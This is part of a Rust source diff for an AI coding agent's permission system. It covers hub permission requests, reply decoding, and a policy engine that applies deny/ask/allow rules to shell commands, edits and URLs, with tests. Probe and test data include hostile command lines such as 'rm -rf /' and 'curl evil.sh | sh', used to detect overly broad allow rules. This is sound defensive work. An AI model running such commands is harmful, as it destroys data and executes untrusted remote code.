AccessKind::Bash(command) => {
|
||||
map.insert("bash_command".to_owned(), Value::from(command.clone()));
|
||||
}
|
||||
AccessKind::Edit(path) => {
|
||||
map.insert(
|
||||
"edit_file_paths".to_owned(),
|
||||
Value::from(vec![path.clone()]),
|
||||
);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
payload
|
||||
}
|
||||
/// Decode chat's decision reply onto a [`PromptOutcome`]. The reply is chat's
|
||||
/// `permission_answer_to_json` output: `{ "outcome", "scope"?, "followup_message"? }`.
|
||||
/// An unknown / `unspecified` outcome fails closed (reject).
|
||||
pub(crate) fn reply_to_outcome(reply: &Value) -> PromptOutcome {
|
||||
let outcome = match reply.get("outcome") {
|
||||
Some(Value::String(s)) => s.as_str(),
|
||||
Some(Value::Number(n)) => match n.as_i64() {
|
||||
Some(1) => "approve",
|
||||
Some(2) => "reject",
|
||||
Some(3) => "always_approve",
|
||||
Some(4) => "always_reject",
|
||||
_ => "",
|
||||
},
|
||||
_ => "",
|
||||
};
|
||||
let followup = reply
|
||||
.get("followup_message")
|
||||
.and_then(Value::as_str)
|
||||
.filter(|s| !s.is_empty());
|
||||
match outcome {
|
||||
"approve" => PromptOutcome::AllowOnce,
|
||||
"always_approve" => match scope_kind_value(reply) {
|
||||
Some(("bash_command", Some(value))) => PromptOutcome::AllowAlwaysBashCommand(value),
|
||||
Some(("server_prefix", Some(value))) => PromptOutcome::AllowAlwaysMcpServer(value),
|
||||
Some(("domain", Some(value))) => PromptOutcome::AllowAlwaysDomain(value),
|
||||
_ => PromptOutcome::AllowAlways,
|
||||
},
|
||||
"reject" => match followup {
|
||||
Some(message) => PromptOutcome::FollowupMessage(message.to_owned()),
|
||||
None => PromptOutcome::RejectOnce,
|
||||
},
|
||||
"always_reject" => match scope_kind_value(reply) {
|
||||
Some(("bash_command", Some(value))) => PromptOutcome::RejectAlwaysBashCommand(value),
|
||||
_ => PromptOutcome::RejectOnce,
|
||||
},
|
||||
"cancelled" => PromptOutcome::Cancelled,
|
||||
_ => PromptOutcome::RejectOnce,
|
||||
}
|
||||
}
|
||||
fn scope_kind_value(reply: &Value) -> Option<(&str, Option<String>)> {
|
||||
let scope = reply.get("scope")?;
|
||||
let kind = scope.get("kind").and_then(Value::as_str)?;
|
||||
let value = scope
|
||||
.get("value")
|
||||
.and_then(Value::as_str)
|
||||
.map(str::to_owned);
|
||||
Some((kind, value))
|
||||
}
|
||||
/// Map a hub-served tool name + JSON args onto an [`AccessKind`] for the
|
||||
/// permission gate in [`crate::hub::SessionRoutedToolHandler`]. Returns `None`
|
||||
/// for tools that never need a user prompt (reads / todos / dynamic).
|
||||
pub fn access_kind_for_hub_tool(tool_name: &str, args: &Value) -> Option<AccessKind> {
|
||||
let name = tool_name.rsplit(':').next().unwrap_or(tool_name);
|
||||
let name = name.strip_prefix("GrokBuild:").unwrap_or(name);
|
||||
match name {
|
||||
"run_terminal_command" | "run_terminal_cmd" | "bash" | "shell" => {
|
||||
let cmd = args
|
||||
.get("command")
|
||||
.or_else(|| args.get("full_command"))
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("")
|
||||
.to_owned();
|
||||
Some(AccessKind::Bash(cmd))
|
||||
}
|
||||
"search_replace" | "hashline_edit" => {
|
||||
let path = args
|
||||
.get("file_path")
|
||||
.or_else(|| args.get("path"))
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("unknown")
|
||||
.to_owned();
|
||||
Some(AccessKind::Edit(path))
|
||||
}
|
||||
"write" | "write_file" => {
|
||||
let path = args
|
||||
.get("file_path")
|
||||
.or_else(|| args.get("path"))
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("unknown")
|
||||
.to_owned();
|
||||
Some(AccessKind::Edit(path))
|
||||
}
|
||||
"apply_patch" => Some(AccessKind::Edit("apply_patch".to_owned())),
|
||||
"web_fetch" => {
|
||||
let url = args
|
||||
.get("url")
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("")
|
||||
.to_owned();
|
||||
Some(AccessKind::WebFetch(url))
|
||||
}
|
||||
n if n.contains("__") || n.starts_with("mcp") => Some(AccessKind::MCPTool {
|
||||
name: tool_name.to_owned(),
|
||||
input: args.clone(),
|
||||
}),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
/// Whether a [`PromptOutcome`] allows the tool call to proceed.
|
||||
pub fn prompt_outcome_allows(outcome: &PromptOutcome) -> bool {
|
||||
matches!(
|
||||
outcome,
|
||||
PromptOutcome::AllowOnce
|
||||
| PromptOutcome::AllowAlways
|
||||
| PromptOutcome::AllowEditsForSession
|
||||
| PromptOutcome::AllowAlwaysBashCommand(_)
|
||||
| PromptOutcome::AllowAlwaysDomain(_)
|
||||
| PromptOutcome::AllowAlwaysMcpTool(_)
|
||||
| PromptOutcome::AllowAlwaysMcpServer(_)
|
||||
)
|
||||
}
|
||||
/// Request a permission decision from chat over `transport` and map the reply
|
||||
/// to a [`PromptOutcome`]. A transport error fails closed (the manager turns an
|
||||
/// `Error` outcome into a reject) so a lost server connection never silently runs
|
||||
/// a guarded tool.
|
||||
pub async fn request_permission_via_hub(
|
||||
transport: &dyn PermissionHookTransport,
|
||||
access: &AccessKind,
|
||||
tool_call_id: &str,
|
||||
) -> PromptOutcome {
|
||||
let payload = build_permission_payload(access, tool_call_id);
|
||||
match transport.request_permission(payload).await {
|
||||
Ok(reply) => match reply_to_outcome(&reply) {
|
||||
PromptOutcome::AllowAlways if matches!(access, AccessKind::Edit(_)) => {
|
||||
PromptOutcome::AllowEditsForSession
|
||||
}
|
||||
other => other,
|
||||
},
|
||||
Err(e) => {
|
||||
tracing::error!(error = % e, "hub permission request failed; rejecting");
|
||||
PromptOutcome::Error(format!("hub permission request failed: {e}"))
|
||||
}
|
||||
}
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::Mutex;
|
||||
/// Pins the current SDK timeout wording the classifier matches on.
|
||||
#[test]
|
||||
fn is_timeout_err_matches_backstop_wording_only() {
|
||||
assert!(is_timeout_err("request timed out after 600s"));
|
||||
assert!(is_timeout_err("request timed out after 600.0s"));
|
||||
assert!(!is_timeout_err("connection lost"));
|
||||
assert!(!is_timeout_err("tool server gone (weak upgrade failed)"));
|
||||
}
|
||||
#[test]
|
||||
fn payload_for_bash_carries_command_and_write_scope() {
|
||||
let payload = build_permission_payload(&AccessKind::Bash("rm -rf /tmp/x".into()), "tc-1");
|
||||
assert_eq!(payload["tool_call_id"], "tc-1");
|
||||
assert_eq!(payload["tool_name"], "run_terminal_command");
|
||||
assert_eq!(payload["description"], "Run a terminal command");
|
||||
assert_eq!(payload["scope"], "write");
|
||||
assert_eq!(payload["bash_command"], "rm -rf /tmp/x");
|
||||
assert!(payload.get("edit_file_paths").is_none());
|
||||
}
|
||||
#[test]
|
||||
fn payload_for_edit_carries_file_paths() {
|
||||
let payload = build_permission_payload(&AccessKind::Edit("src/main.rs".into()), "tc-2");
|
||||
assert_eq!(payload["tool_name"], "search_replace");
|
||||
assert_eq!(payload["description"], "Edit src/main.rs");
|
||||
assert_eq!(payload["scope"], "write");
|
||||
assert_eq!(
|
||||
payload["edit_file_paths"],
|
||||
serde_json::json!(["src/main.rs"])
|
||||
);
|
||||
assert!(payload.get("bash_command").is_none());
|
||||
assert!(payload.get("edit_kind").is_none());
|
||||
}
|
||||
#[test]
|
||||
fn payload_for_mcp_has_no_tool_context() {
|
||||
let payload = build_permission_payload(
|
||||
&AccessKind::MCPTool {
|
||||
name: "linear__list".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
"tc-3",
|
||||
);
|
||||
assert_eq!(payload["tool_name"], "mcp:linear__list");
|
||||
assert_eq!(payload["description"], "Run MCP tool linear__list");
|
||||
assert_eq!(payload["scope"], "write");
|
||||
assert!(payload.get("bash_command").is_none());
|
||||
assert!(payload.get("edit_file_paths").is_none());
|
||||
}
|
||||
#[test]
|
||||
fn reply_outcomes_map_to_prompt_outcomes() {
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "approve" })),
|
||||
PromptOutcome::AllowOnce
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "reject" })),
|
||||
PromptOutcome::RejectOnce
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "cancelled" })),
|
||||
PromptOutcome::Cancelled
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "unspecified"
|
||||
})),
|
||||
PromptOutcome::RejectOnce
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({})),
|
||||
PromptOutcome::RejectOnce
|
||||
));
|
||||
}
|
||||
#[test]
|
||||
fn reject_with_followup_routes_message_to_model() {
|
||||
let reply = serde_json::json!(
|
||||
{ "outcome" : "reject", "followup_message" : "use cargo instead" }
|
||||
);
|
||||
match reply_to_outcome(&reply) {
|
||||
PromptOutcome::FollowupMessage(m) => assert_eq!(m, "use cargo instead"),
|
||||
other => panic!("expected FollowupMessage, got {other:?}"),
|
||||
}
|
||||
}
|
||||
#[test]
|
||||
fn always_approve_maps_scope_to_persistent_outcome() {
|
||||
let bash = serde_json::json!(
|
||||
{ "outcome" : "always_approve", "scope" : { "kind" : "bash_command", "value"
|
||||
: "cargo build" }, }
|
||||
);
|
||||
match reply_to_outcome(&bash) {
|
||||
PromptOutcome::AllowAlwaysBashCommand(v) => assert_eq!(v, "cargo build"),
|
||||
other => panic!("expected AllowAlwaysBashCommand, got {other:?}"),
|
||||
}
|
||||
let server = serde_json::json!(
|
||||
{ "outcome" : "always_approve", "scope" : { "kind" : "server_prefix", "value"
|
||||
: "linear" }, }
|
||||
);
|
||||
match reply_to_outcome(&server) {
|
||||
PromptOutcome::AllowAlwaysMcpServer(v) => assert_eq!(v, "linear"),
|
||||
other => panic!("expected AllowAlwaysMcpServer, got {other:?}"),
|
||||
}
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "always_approve"
|
||||
})),
|
||||
PromptOutcome::AllowAlways
|
||||
));
|
||||
}
|
||||
#[test]
|
||||
fn always_reject_with_bash_scope_persists_the_denied_prefix() {
|
||||
let reply = serde_json::json!(
|
||||
{ "outcome" : "always_reject", "scope" : { "kind" : "bash_command", "value" :
|
||||
"curl" }, }
|
||||
);
|
||||
match reply_to_outcome(&reply) {
|
||||
PromptOutcome::RejectAlwaysBashCommand(v) => assert_eq!(v, "curl"),
|
||||
other => panic!("expected RejectAlwaysBashCommand, got {other:?}"),
|
||||
}
|
||||
}
|
||||
struct StubTransport {
|
||||
reply: Result<Value, String>,
|
||||
seen: Mutex<Option<Value>>,
|
||||
}
|
||||
#[async_trait]
|
||||
impl PermissionHookTransport for StubTransport {
|
||||
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
|
||||
*self.seen.lock().unwrap() = Some(payload);
|
||||
self.reply.clone()
|
||||
}
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn request_sends_payload_and_decodes_reply() {
|
||||
let transport = StubTransport {
|
||||
reply: Ok(serde_json::json!({ "outcome" : "approve" })),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome =
|
||||
request_permission_via_hub(&transport, &AccessKind::Bash("ls -la".into()), "tc-7")
|
||||
.await;
|
||||
assert!(matches!(outcome, PromptOutcome::AllowOnce));
|
||||
let seen = transport
|
||||
.seen
|
||||
.lock()
|
||||
.unwrap()
|
||||
.clone()
|
||||
.expect("payload sent");
|
||||
assert_eq!(seen["tool_call_id"], "tc-7");
|
||||
assert_eq!(seen["bash_command"], "ls -la");
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn transport_error_fails_closed() {
|
||||
let transport = StubTransport {
|
||||
reply: Err("connection lost".to_owned()),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome =
|
||||
request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-8").await;
|
||||
assert!(matches!(outcome, PromptOutcome::Error(_)));
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn edit_always_approve_maps_to_session_scope() {
|
||||
let transport = StubTransport {
|
||||
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome =
|
||||
request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-9").await;
|
||||
assert!(matches!(outcome, PromptOutcome::AllowEditsForSession));
|
||||
let transport = StubTransport {
|
||||
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome = request_permission_via_hub(
|
||||
&transport,
|
||||
&AccessKind::MCPTool {
|
||||
name: "x".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
"tc-10",
|
||||
)
|
||||
.await;
|
||||
assert!(matches!(outcome, PromptOutcome::AllowAlways));
|
||||
}
|
||||
#[test]
|
||||
fn hitl_permission_live_defaults_off_without_env() {
|
||||
if std::env::var(HITL_PERMISSION_LIVE_ENV).is_err() {
|
||||
assert!(!hitl_permission_live_enabled());
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,45 @@
|
||||
pub mod auto_mode;
|
||||
pub mod claude_settings;
|
||||
mod hub_permission;
|
||||
mod manager;
|
||||
mod policy;
|
||||
mod prompter;
|
||||
pub mod resolution;
|
||||
pub mod rules;
|
||||
mod shell_access;
|
||||
mod state;
|
||||
pub mod types;
|
||||
|
||||
pub use auto_mode::{
|
||||
AUTO_MODE_CLASSIFIER_SYSTEM_PROMPT, AutoFastPath, CLASSIFIER_TURN_MAX_LEN, ClassifierContext,
|
||||
ClassifierMessage, ClassifierMessageRole, ClassifierPromptType, ClassifierTurn,
|
||||
ClassifierVerdict, ClassifyTextChannel, ClassifyTextFn, FixedClassifier,
|
||||
HeuristicPermissionClassifier, LlmPermissionClassifier, PermissionClassifier, SharedClassifier,
|
||||
access_requires_user_interaction, auto_mode_fast_path, build_classifier_messages,
|
||||
classifier_output_json_schema, default_auto_mode_classifier, is_auto_mode_allowlisted_access,
|
||||
is_auto_mode_allowlisted_tool_name, parse_classifier_model_text, permission_decision_args,
|
||||
};
|
||||
pub use hub_permission::{
|
||||
PermissionHookTransport, ToolServerPermissionTransport, access_kind_for_hub_tool,
|
||||
hitl_permission_live_enabled, prompt_outcome_allows, request_permission_via_hub,
|
||||
};
|
||||
|
||||
/// Zero-init this module's metric families. See [`crate::init_metrics`].
|
||||
pub(crate) fn init_metrics() {
|
||||
hub_permission::init_metrics();
|
||||
}
|
||||
pub use manager::{
|
||||
PermissionHandle, default_always_allow_scope, spawn_permission_manager,
|
||||
spawn_permission_manager_with_hub,
|
||||
};
|
||||
pub use policy::CompiledPolicy;
|
||||
pub use prompter::{
|
||||
ALLOW_EDITS_SESSION_OPTION_ID, AcpPrompter, BashCommandPermission, BashCommandSelectedTerms,
|
||||
ENABLE_ALWAYS_APPROVE_OPTION_ID, MCP_TOOL_NAME_DELIMITER, McpScopeSelection, McpToolPermission,
|
||||
PromptOutcome, is_enable_always_approve_option, mcp_pretty_name_if_qualified,
|
||||
mcp_titleize_segment, mcp_tool_action, mcp_tool_display_name,
|
||||
};
|
||||
pub use state::PermissionState;
|
||||
pub use state::cleanup_stale_permission_state;
|
||||
pub use types::{AccessKind, ClientType, Decision, PermissionCommand, PermissionEvent};
|
||||
pub mod bash_command_splitting;
|
||||
@@ -0,0 +1,878 @@
|
||||
use crate::permission::bash_command_splitting::{all_commands_from_script, unwrap_wrappers};
|
||||
use crate::permission::shell_access::combine_decisions;
|
||||
use crate::permission::types::{
|
||||
AccessKind, Decision, PatternMode, PermissionConfig, PermissionRule, RuleAction, ToolFilter,
|
||||
};
|
||||
use kigi_tools::implementations::grok_build::web_fetch::domain::normalize_domain;
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
enum MatchContext {
|
||||
/// `*` respects `/` as a segment boundary; `**` crosses it.
|
||||
Path,
|
||||
/// `*` matches any character including `/`.
|
||||
Freeform,
|
||||
}
|
||||
|
||||
struct CompiledRule<'a> {
|
||||
rule: &'a PermissionRule,
|
||||
matcher: Option<&'a glob::Pattern>,
|
||||
}
|
||||
|
||||
/// Permission policy with pre-compiled glob patterns.
|
||||
pub struct CompiledPolicy {
|
||||
config: PermissionConfig,
|
||||
matchers: Vec<Option<glob::Pattern>>,
|
||||
/// True if any Read/Edit/Any deny/ask rule exists, so the shell file-access
|
||||
/// gate (`shell_access.rs`) should run. Read by `evaluate_shell_file_access`.
|
||||
pub(crate) has_file_restrictions: bool,
|
||||
/// True if any Bash/Any deny/ask rule exists, so the per-segment Bash command
|
||||
/// gate should run. Read by `evaluate_bash_command_policy`.
|
||||
has_bash_command_restrictions: bool,
|
||||
}
|
||||
|
||||
impl CompiledPolicy {
|
||||
pub fn new(config: PermissionConfig) -> Self {
|
||||
let matchers = config
|
||||
.rules
|
||||
.iter()
|
||||
.map(|rule| {
|
||||
rule.pattern
|
||||
.as_deref()
|
||||
.filter(|p| *p != "*")
|
||||
.and_then(|p| glob::Pattern::new(p).ok())
|
||||
})
|
||||
.collect();
|
||||
let has_file_restrictions = config.rules.iter().any(|rule| {
|
||||
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
|
||||
&& matches!(
|
||||
rule.tool,
|
||||
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Any
|
||||
)
|
||||
});
|
||||
let has_bash_command_restrictions = config.rules.iter().any(|rule| {
|
||||
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
|
||||
&& matches!(rule.tool, ToolFilter::Bash | ToolFilter::Any)
|
||||
});
|
||||
Self {
|
||||
config,
|
||||
matchers,
|
||||
has_file_restrictions,
|
||||
has_bash_command_restrictions,
|
||||
}
|
||||
}
|
||||
|
||||
/// Evaluate managed Bash/Any deny/ask command rules against every chained
|
||||
/// segment (wrappers like `timeout`/`env` peeled, `bash -c` scripts recursed
|
||||
/// into), not just the leading command. Escalation only: returns
|
||||
/// `Reject`/`Ask`, never `Allow`. A script that can't be decomposed fails
|
||||
/// closed to `Ask` rather than falling through.
|
||||
pub fn evaluate_bash_command_policy(&self, cmd: &str) -> Option<Decision> {
|
||||
if !self.has_bash_command_restrictions {
|
||||
return None;
|
||||
}
|
||||
self.evaluate_bash_command_segments(cmd, 0)
|
||||
}
|
||||
|
||||
fn evaluate_bash_command_segments(&self, cmd: &str, depth: usize) -> Option<Decision> {
|
||||
// Far deeper than legitimate `bash -c` nesting; fail closed rather than
|
||||
// let an over-nested script run unevaluated.
|
||||
if depth >= 8 {
|
||||
return Some(Decision::Ask);
|
||||
}
|
||||
let Some(segments) = all_commands_from_script(cmd) else {
|
||||
return Some(Decision::Ask);
|
||||
};
|
||||
let escalate = |segment: &str| match self.evaluate(&AccessKind::Bash(segment.to_owned())) {
|
||||
Some(Decision::Allow) | None => None,
|
||||
other => other,
|
||||
};
|
||||
let mut decision = None;
|
||||
for parsed in &segments {
|
||||
let raw_words = parsed.words();
|
||||
let unwrapped = unwrap_wrappers(raw_words);
|
||||
// Rules may target the wrapper or the wrapped program, so both forms
|
||||
// are checked — but only once when nothing was peeled.
|
||||
let forms = std::iter::once(raw_words)
|
||||
.chain((unwrapped.len() != raw_words.len()).then_some(unwrapped));
|
||||
for words in forms {
|
||||
decision = combine_decisions(decision, escalate(&words.join(" ")));
|
||||
if let Some(inner) = shell_dash_c_script(words) {
|
||||
decision = combine_decisions(
|
||||
decision,
|
||||
self.evaluate_bash_command_segments(inner, depth + 1),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
decision
|
||||
}
|
||||
|
||||
/// Evaluate using deny > ask > allow precedence (order-independent).
|
||||
pub fn evaluate(&self, access: &AccessKind) -> Option<Decision> {
|
||||
let mut matched_ask = false;
|
||||
let mut matched_allow = false;
|
||||
|
||||
for (rule, matcher) in self.config.rules.iter().zip(&self.matchers) {
|
||||
if !tool_filter_matches(access, &rule.tool) {
|
||||
continue;
|
||||
}
|
||||
let cr = CompiledRule {
|
||||
rule,
|
||||
matcher: matcher.as_ref(),
|
||||
};
|
||||
if !pattern_matches(access, &cr) {
|
||||
continue;
|
||||
}
|
||||
match rule.action {
|
||||
RuleAction::Deny => {
|
||||
let tool_label = match &rule.tool {
|
||||
ToolFilter::Any => "any tool",
|
||||
ToolFilter::Bash => "bash",
|
||||
ToolFilter::Edit => "edit",
|
||||
ToolFilter::Read => "read",
|
||||
ToolFilter::Grep => "grep",
|
||||
ToolFilter::Mcp => "mcp",
|
||||
ToolFilter::WebFetch => "web_fetch",
|
||||
ToolFilter::WebSearch => "web_search",
|
||||
};
|
||||
let reason = match &rule.pattern {
|
||||
Some(pattern) => format!(
|
||||
"Denied by permission policy: deny rule on {tool_label} matching \"{pattern}\""
|
||||
),
|
||||
None => format!("Denied by permission policy: deny rule on {tool_label}"),
|
||||
};
|
||||
return Some(Decision::Reject(reason));
|
||||
}
|
||||
RuleAction::Ask => matched_ask = true,
|
||||
RuleAction::Allow => matched_allow = true,
|
||||
}
|
||||
}
|
||||
|
||||
if matched_ask {
|
||||
return Some(Decision::Ask);
|
||||
}
|
||||
if matched_allow {
|
||||
return Some(Decision::Allow);
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
impl From<PermissionConfig> for CompiledPolicy {
|
||||
fn from(config: PermissionConfig) -> Self {
|
||||
Self::new(config)
|
||||
}
|
||||
}
|
||||
|
||||
/// The inner script string of a `bash -c "<script>"` invocation (also `sh`,
|
||||
/// `dash`, `zsh`, `ksh`); `None` if the words are not such an invocation.
|
||||
/// Known residuals: option arguments (`-o pipefail`) and `+`-option words can
|
||||
/// mis-take the operand — escalation-only so a miss never allows; skipping `+…` would add a dodge.
|
||||
fn shell_dash_c_script(words: &[String]) -> Option<&str> {
|
||||
let program = words.first()?.rsplit(['/', '\\']).next()?;
|
||||
if !matches!(program, "bash" | "sh" | "dash" | "zsh" | "ksh") {
|
||||
return None;
|
||||
}
|
||||
let flag = words
|
||||
.iter()
|
||||
.skip(1)
|
||||
.position(|w| w.starts_with('-') && !w.starts_with("--") && w.contains('c'))?;
|
||||
// The script is the first operand after the `-c` cluster, not necessarily
|
||||
// the next word: more options may sit in between (`bash -c -x 'id'`), and
|
||||
// `--` / a lone `-` end option parsing with the operand following.
|
||||
let mut rest = words.get(flag + 2..)?.iter();
|
||||
while let Some(word) = rest.next() {
|
||||
if matches!(word.as_str(), "--" | "-") {
|
||||
return rest.next().map(String::as_str);
|
||||
}
|
||||
if !word.starts_with('-') {
|
||||
return Some(word.as_str());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn tool_filter_matches(access: &AccessKind, filter: &ToolFilter) -> bool {
|
||||
match filter {
|
||||
ToolFilter::Any => true,
|
||||
ToolFilter::Bash => matches!(access, AccessKind::Bash(_)),
|
||||
ToolFilter::Edit => matches!(access, AccessKind::Edit(_)),
|
||||
// A Read rule also governs the Grep tool: grep reads file contents, so a
|
||||
// managed `Read` deny/ask on a path must block grepping that same path —
|
||||
// otherwise grep is a read-bypass. Grep-specific rules still use `Grep`.
|
||||
ToolFilter::Read => matches!(access, AccessKind::Read(_) | AccessKind::Grep { .. }),
|
||||
ToolFilter::Grep => matches!(access, AccessKind::Grep { .. }),
|
||||
ToolFilter::Mcp => matches!(access, AccessKind::MCPTool { .. }),
|
||||
ToolFilter::WebFetch => matches!(access, AccessKind::WebFetch(_)),
|
||||
ToolFilter::WebSearch => matches!(access, AccessKind::WebSearch(_)),
|
||||
}
|
||||
}
|
||||
|
||||
fn pattern_matches(access: &AccessKind, cr: &CompiledRule<'_>) -> bool {
|
||||
let pattern = match cr.rule.pattern.as_deref() {
|
||||
Some(p) => p,
|
||||
None => return true,
|
||||
};
|
||||
if pattern == "*" {
|
||||
return true;
|
||||
}
|
||||
|
||||
match access {
|
||||
// CWE-178: trim leading whitespace so deny rules cannot
|
||||
// be bypassed by prefixing commands with spaces.
|
||||
AccessKind::Bash(cmd) => {
|
||||
let cmd = cmd.trim_start();
|
||||
cmd.starts_with(pattern) || glob_matches(cmd, MatchContext::Freeform, cr.matcher)
|
||||
}
|
||||
AccessKind::Edit(path) => glob_matches(path, MatchContext::Path, cr.matcher),
|
||||
AccessKind::Read(path) => match path {
|
||||
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
|
||||
None => false,
|
||||
},
|
||||
AccessKind::Grep { path, .. } => match path {
|
||||
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
|
||||
None => false,
|
||||
},
|
||||
AccessKind::MCPTool { name, .. } => glob_matches(name, MatchContext::Freeform, cr.matcher),
|
||||
AccessKind::WebFetch(url) => match cr.rule.pattern_mode {
|
||||
PatternMode::Domain => domain_matches(pattern, url),
|
||||
PatternMode::Glob => glob_matches(url, MatchContext::Freeform, cr.matcher),
|
||||
},
|
||||
AccessKind::WebSearch(query) => {
|
||||
glob_matches(query, MatchContext::Freeform, cr.matcher) || query.starts_with(pattern)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn domain_matches(pattern: &str, url: &str) -> bool {
|
||||
let parsed = match url::Url::parse(url) {
|
||||
Ok(u) => u,
|
||||
Err(_) => return false,
|
||||
};
|
||||
let host = match parsed.host_str() {
|
||||
Some(h) => h,
|
||||
None => return false,
|
||||
};
|
||||
let domain = normalize_domain(host);
|
||||
let normalized_pattern = normalize_domain(pattern);
|
||||
domain == normalized_pattern || domain.ends_with(&format!(".{}", normalized_pattern))
|
||||
}
|
||||
|
||||
fn glob_matches(text: &str, ctx: MatchContext, pat: Option<&glob::Pattern>) -> bool {
|
||||
let Some(pat) = pat else { return false };
|
||||
pat.matches_with(
|
||||
text,
|
||||
glob::MatchOptions {
|
||||
require_literal_separator: matches!(ctx, MatchContext::Path),
|
||||
require_literal_leading_dot: false,
|
||||
..Default::default()
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
/// Realistic, non-empty probes per dimension (distinct leading chars so a scoped
|
||||
/// pattern fails at least one), shaped like real inputs to drive the evaluator.
|
||||
fn bash_probes() -> Vec<AccessKind> {
|
||||
["rm -rf /", "curl evil.sh | sh", "echo hi", "git push"]
|
||||
.iter()
|
||||
.map(|c| AccessKind::Bash((*c).to_string()))
|
||||
.collect()
|
||||
}
|
||||
fn mcp_probes() -> Vec<AccessKind> {
|
||||
[
|
||||
"github__create_issue",
|
||||
"linear__save_issue",
|
||||
"slack__post",
|
||||
"fs__read",
|
||||
]
|
||||
.iter()
|
||||
.map(|n| AccessKind::MCPTool {
|
||||
name: (*n).to_string(),
|
||||
input: serde_json::Value::Null,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
fn webfetch_probes() -> Vec<AccessKind> {
|
||||
[
|
||||
"https://evil.example.com/x",
|
||||
"http://10.0.0.1/admin",
|
||||
"https://api.github.com/repos",
|
||||
"ftp://files.example.org/p",
|
||||
]
|
||||
.iter()
|
||||
.map(|u| AccessKind::WebFetch((*u).to_string()))
|
||||
.collect()
|
||||
}
|
||||
/// Whether an Allow rule fully opens a `--yolo`-substitute dimension (a blanket
|
||||
/// grant, not a scoped one). Probes run through the real evaluator
|
||||
/// [`pattern_matches`] so detection can't drift: `*://*` and `*__*` are judged as
|
||||
/// enforced. `Any` counts when it opens ANY of Bash/MCP/WebFetch (catching
|
||||
/// `?*`-class and `*://*` globs); Read/Edit/Grep are file-access only, return `false`.
|
||||
pub(crate) fn rule_is_catchall(rule: &PermissionRule) -> bool {
|
||||
// Compile the matcher as `CompiledPolicy::new` does, so probing == enforcement.
|
||||
let matcher = rule
|
||||
.pattern
|
||||
.as_deref()
|
||||
.filter(|p| *p != "*")
|
||||
.and_then(|p| glob::Pattern::new(p).ok());
|
||||
let cr = CompiledRule {
|
||||
rule,
|
||||
matcher: matcher.as_ref(),
|
||||
};
|
||||
let opens_all = |probes: Vec<AccessKind>| probes.iter().all(|a| pattern_matches(a, &cr));
|
||||
match rule.tool {
|
||||
ToolFilter::Bash => opens_all(bash_probes()),
|
||||
ToolFilter::Mcp => opens_all(mcp_probes()),
|
||||
ToolFilter::WebFetch => opens_all(webfetch_probes()),
|
||||
ToolFilter::Any => {
|
||||
opens_all(bash_probes()) || opens_all(mcp_probes()) || opens_all(webfetch_probes())
|
||||
}
|
||||
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Grep | ToolFilter::WebSearch => false,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::permission::types::PermissionRule;
|
||||
|
||||
// ── pattern_matches tests ─────────────────────────────────────────────
|
||||
|
||||
fn rule_for(pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}
|
||||
}
|
||||
|
||||
fn domain_rule(pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::WebFetch,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Domain,
|
||||
}
|
||||
}
|
||||
|
||||
fn matches(access: &AccessKind, rule: &PermissionRule) -> bool {
|
||||
let policy = CompiledPolicy::new(PermissionConfig::new(vec![rule.clone()]));
|
||||
let cr = CompiledRule {
|
||||
rule: &policy.config.rules[0],
|
||||
matcher: policy.matchers[0].as_ref(),
|
||||
};
|
||||
pattern_matches(access, &cr)
|
||||
}
|
||||
|
||||
#[test]
|
